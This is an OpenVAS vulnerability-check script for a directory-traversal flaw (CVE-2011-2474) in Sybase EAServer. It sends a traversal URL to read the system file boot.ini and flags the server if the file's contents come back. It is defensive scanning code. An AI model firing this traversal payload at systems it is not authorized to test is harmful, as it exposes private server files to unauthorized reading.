Sybase EAServer is prone to a directory-traversal vulnerability
because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow an attacker to view arbitrary files
within the context of the webserver. Information harvested may aid in
launching further attacks.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sybase_easerver_47987.nasl 7277 2017-09-26 12:45:58Z cfischer $
#
# Sybase EAServer Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "Sybase EAServer is prone to a directory-traversal vulnerability
because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow an attacker to view arbitrary files
within the context of the webserver. Information harvested may aid in
launching further attacks.";
tag_solution = "The vendor has released fixes. Please see the references for more
information.";
if (description)
{
script_id(103478);
script_bugtraq_id(47987);
script_cve_id("CVE-2011-2474");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_version ("$Revision: 7277 $");
script_name("Sybase EAServer Directory Traversal Vulnerability");
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/47987");
script_xref(name : "URL" , value : "http://www.sybase.com/products/modelingdevelopment/easerver");
script_xref(name : "URL" , value : "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=912");
script_xref(name : "URL" , value : "http://www.sybase.com/detail?id=1093216");
script_tag(name:"last_modification", value:"$Date: 2017-09-26 14:45:58 +0200 (Tue, 26 Sep 2017) $");
script_tag(name:"creation_date", value:"2012-04-25 14:01:37 +0200 (Wed, 25 Apr 2012)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
script_dependencies("gb_get_http_banner.nasl");
script_require_ports("Services/www", 80, 8000);
script_mandatory_keys("EAServer/banner");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
banner = get_http_banner(port:port);
if("EAServer" >!< banner)exit(0);
url = string("/.\\..\\.\\..\\.\\..\\.\\boot.ini");
if(http_vuln_check(port:port, url:url,pattern:"\[boot loader\]")) {
security_message(port:port);
exit(0);
}
exit(0);